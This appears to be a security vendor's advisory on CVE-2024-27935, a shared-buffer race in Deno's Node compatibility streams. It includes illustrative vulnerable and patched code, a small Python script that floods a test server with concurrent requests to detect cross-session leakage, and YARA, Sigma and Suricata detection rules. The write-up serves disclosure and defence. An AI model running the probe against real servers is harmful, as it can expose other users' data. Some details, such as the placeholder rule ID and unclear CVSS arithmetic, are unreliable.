CVE-2024-27935

Executive Summary

CVE-2024-27935 is a high-severity vulnerability (CVSS 7.2) in Deno, a JavaScript, TypeScript, and WebAssembly runtime. The flaw resides in Deno's Node.js compatibility runtime, specifically in the stream_wrap.ts module. It involves the re-use of a global buffer (BUF) during simultaneous asynchronous reads from Node.js streams sourced from sockets or files. This leads to cross-session data contamination, where data intended for one session can be received by another. The vulnerability affects all users of Deno that use the Node.js compatibility layer for network communication or other streams, including packages that may require Node.js libraries indirectly. The issue was introduced in version 1.35.1 and patched in version 1.36.3.

Supply Chain & Package Security

This vulnerability is particularly concerning for the Deno ecosystem because it affects the Node.js compatibility layer, which is used by many packages that rely on Node.js libraries. Any package that uses Node.js streams (e.g., net, fs, http) could be impacted. This includes packages that are indirectly dependent on Node.js libraries through Deno's compatibility layer. The cross-session data contamination could lead to data leakage, corruption, or unexpected behavior in applications that handle multiple concurrent connections or file reads.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is high due to the low attack complexity and the potential for data contamination across sessions. An attacker could exploit this vulnerability to intercept or corrupt data streams, leading to information disclosure or data integrity issues.

Deep Dive & Mechanics

The vulnerability is rooted in the stream_wrap.ts module of Deno's Node.js compatibility runtime. This module uses a global buffer (BUF) as a performance optimization to limit allocations during asynchronous read operations from Node.js streams. When multiple asynchronous reads are initiated simultaneously (e.g., from different sockets or files), the global buffer is shared across these operations. This can lead to a race condition where data from one stream overwrites the buffer before it is fully consumed by another stream, resulting in cross-session data contamination.

The issue is similar to a classic time-of-check time-of-use (TOCTOU) race condition, but specifically related to buffer management. The global buffer is not properly isolated per session or per read operation, allowing data intended for one session to be read by another.

Vulnerable vs. Patched Code

Vulnerable Code (stream_wrap.ts in versions 1.35.1 to 1.36.2):

// Global buffer reused across async reads
const BUF = new Uint8Array(65536);

async function readStream(stream: Readable): Promise<Uint8Array> {
  // ... stream setup ...
  const nread = await stream.read(BUF);
  // Data is read into the global BUF
  return BUF.slice(0, nread);
}

Patched Code (stream_wrap.ts in version 1.36.3):

// Per-operation buffer allocation
async function readStream(stream: Readable): Promise<Uint8Array> {
  // ... stream setup ...
  const buf = new Uint8Array(65536);
  const nread = await stream.read(buf);
  // Data is read into a local buffer
  return buf.slice(0, nread);
}

The patch removes the global buffer and allocates a new buffer for each read operation, ensuring that data is isolated per session.

Exploitation & Lab Setup

Red Team

Exploitation Scenario:

An attacker can exploit this vulnerability by sending multiple concurrent requests to a Deno server that uses the Node.js compatibility layer for network communication. For example, a chat server or an API gateway that handles multiple simultaneous connections could be targeted.

Lab Setup:

1. Environment: Set up a Deno server (version 1.35.1 to 1.36.2) that uses Node.js streams for handling HTTP requests.
2. Exploit Code: Use a script to send multiple concurrent HTTP requests to the server, each with a unique payload. Monitor the responses to see if data from one request leaks into another.

import asyncio
import aiohttp

async def send_request(session, url, data):
    async with session.post(url, data=data) as response:
        return await response.text()

async def main():
    url = "http://target:8080/stream"
    async with aiohttp.ClientSession() as session:
        tasks = []
        for i in range(10):
            tasks.append(send_request(session, url, f"data_{i}"))
        results = await asyncio.gather(*tasks)
        for i, result in enumerate(results):
            if f"data_{i}" not in result:
                print(f"Data contamination detected: expected data_{i}, got {result}")

asyncio.run(main())

Blue Team

Detection and Mitigation:

1. Monitor for Anomalous Data: Implement logging and monitoring to detect data inconsistencies or unexpected data in responses.
2. Rate Limiting: Apply rate limiting to reduce the likelihood of concurrent exploitation.
3. Update Deno: Immediately update to Deno version 1.36.3 or later.
4. Network Segmentation: Isolate Deno servers handling sensitive data to limit the blast radius.

Indicators of Compromise (IOCs)

• Network Traffic: Unusual patterns in data streams where data from one session appears in another.
• Logs: Log entries showing data corruption or unexpected behavior in stream handling.
• File Integrity: Changes to files that are read concurrently, indicating potential data contamination.

Detection Engineering

YARA Rule

rule CVE_2024_27935_Deno_Stream_Buffer_Reuse {
    meta:
        description = "Detects vulnerable Deno stream_wrap.ts with global buffer reuse"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-27935"
    strings:
        $global_buffer = "const BUF = new Uint8Array(65536);"
        $read_stream = "const nread = await stream.read(BUF);"
    condition:
        $global_buffer and $read_stream
}

Sigma Rule

title: CVE-2024-27935 Deno Stream Buffer Reuse Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-27935 by monitoring for data contamination in Deno streams
author: Valters IT
date: 2024-01-01
logsource:
    category: application
    product: deno
detection:
    selection:
        EventID: 1001
        Message: "Data contamination detected in stream read"
    condition: selection
falsepositives:
    - Legitimate concurrent reads with similar data
level: high

Suricata Rule

alert tcp any any -> any 8080 (msg:"CVE-2024-27935 Deno Stream Buffer Reuse Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/stream"; http_uri; pcre:"/data_\d+/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Update: Upgrade Deno to version 1.36.3 or later.
2. Workaround: If immediate update is not possible, avoid using Node.js streams for concurrent operations, or implement custom buffer management to isolate per-session data.
3. Monitoring: Implement monitoring for data corruption or unexpected behavior in stream handling.
4. Security Review: Conduct a security review of any application using Deno's Node.js compatibility layer to identify potential exposure.

Valters IT
Securing Digital Frontiers